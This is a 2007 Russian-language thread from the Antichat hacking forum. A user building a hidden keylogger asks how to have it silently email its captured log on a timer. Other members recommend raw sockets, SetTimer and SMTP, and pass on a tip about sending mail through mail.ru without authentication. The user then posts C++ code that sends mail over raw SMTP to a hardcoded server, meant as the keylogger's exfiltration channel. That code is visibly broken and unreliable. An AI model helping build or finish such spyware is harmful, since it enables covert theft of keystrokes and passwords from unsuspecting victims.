Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   вопросик...может тупой (https://forum.antichat.xyz/showthread.php?t=36441)

-n00by- 26.03.2007 22:14

вопросик...может тупой
 
вобщем такая фигня: пишу от некуй делать кейлогер(в b c++ b) и мне хочиццо, чтоб он отправлял на мыло лог через определенное время. как это сделать, если прога должна быть без окон, а нуно добавить NMSMTP и таймер, которые вродь прилепляются к окну :confused:

je0n 26.03.2007 22:30

Отправку реализуй через сокеты, а таймер - функция SetTimer() (это API)

На прямой вопрос ответа не знаю. Но то что я тебе сказал - будет идеальным вариантом.

-n00by- 26.03.2007 22:34

с set timer понял, а вот чо такое сокеты и как ето все написать объясни для ламеров плз. мне прост сетку с норм скоростью гдето полгода назад подрубили, дык я пока в етом всем ламосос

je0n 26.03.2007 22:46

держи
http://forum.web-hack.ru/index.php?showtopic=6328

в кратце. Сокеты работают на прямую с протоколом. Чтобы отправить письмо, тебе прийдеться знать помимо того как работать с сокетами еще и протокол отправки письма. то есть smtp.

Если че спрашивай

-n00by- 26.03.2007 22:47

пасибки

sn0w 27.03.2007 18:02

просто невидимую ворму забахай и все

-n00by- 28.03.2007 23:07

на панели задач она вродь видна. кроме того она конкр увеличит размер проги.

ну вродь с кокетами разобрался. а вот как через них юзать smtp не собсем вйэхал. киньте ктонить линк на статейку какуюнить...

je0n 29.03.2007 13:20

вот описание протокола:
http://www.codenet.ru/webmast/smtp.php

Там ясно описано, какие значения нужно отправлять серверу и какие сервер должен возвращать. И еще: если будешь юзать для почты сервисы от mail.ru (или подобных), на которых требуется авторизация через pop3, то когда будешь тестить заходи на почтовый ящик обычным клиентом (the bat) и проверь почту. После этого где-то полчаса можешь работать без авторизации.

P.S. если из этой статейки ничего не поймешь поюзай гугл. Таких примеров миллион для каждого языка программирования.

-n00by- 29.03.2007 19:53

пасиб исчо раз.

Вы должны добавить репутацию кому-то еще, прежде чем сможете снова добавить ее je0n. ;)
-----------------------------------------------------------------------
ЗЫ если у кого возникнет такойжа вопрос, как у меня--нашел вот это ....
ЗЗЫ а еще вот это и вот это

зззЫ
кто может сказать почему сия чуда не пашет?


Код:

#include<winsock.h>
#include<vcl.h>
WINAPI SendMail(void)
{
  WSADATA stWSADataTCPIP;
    if(WSAStartup(0x0101, &stWSADataTCPIP))
    {
      SOCKET nSMTPServerSocket;
      struct sockaddr_in smtp_address;
      int nConnect;
      int iLength;
      int iMsg = 0;
      int iEnd = 0;
      BYTE sBuf[4096];

        char *MailMessage[] =
        {
          "HELO axel.ru\r\n",
          "MAIL FROM:<vasya_pupkin@cool_mail.ru>\r\n",  // отправитель
          "RCPT TO:<loki_hapuk@mail.ru>\r\n",            // получатель
          "DATA\r\n",
          "здрасте, я smtp\r\n\r\n.\r\n",                  // сам собсна текст
          "QUIT\r\n",
          NULL
        };
        //---------------------------------------------------------------------

          if(nSMTPServerSocket != INVALID_SOCKET)
            {
              smtp_address.sin_family = AF_INET;
              // IPшник сервера
              smtp_address.sin_addr.s_addr = inet_addr("194.67.23.111");
              smtp_address.sin_port = htons(25);

              nConnect = connect(nSMTPServerSocket, (PSOCKADDR)&smtp_address,
                                                          sizeof(smtp_address));

                  if(nConnect)  { }
                  else  {
                      do  {
                          iLength = recv(nSMTPServerSocket, (LPSTR)sBuf+iEnd, sizeof(sBuf)-iEnd, 0);
                          iEnd += iLength;
                          sBuf[iEnd] = '\0';
                          send(nSMTPServerSocket, (LPSTR)MailMessage[iMsg], strlen(MailMessage[iMsg]), 0);
                          iMsg++;
                          } while(MailMessage[iMsg]);
                        }

              closesocket(nSMTPServerSocket);
          }
  }
return void;
}
//----------------------------
 WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
  SendMail();
  ExitProcess(0);
  return 0;
}



Время: 18:21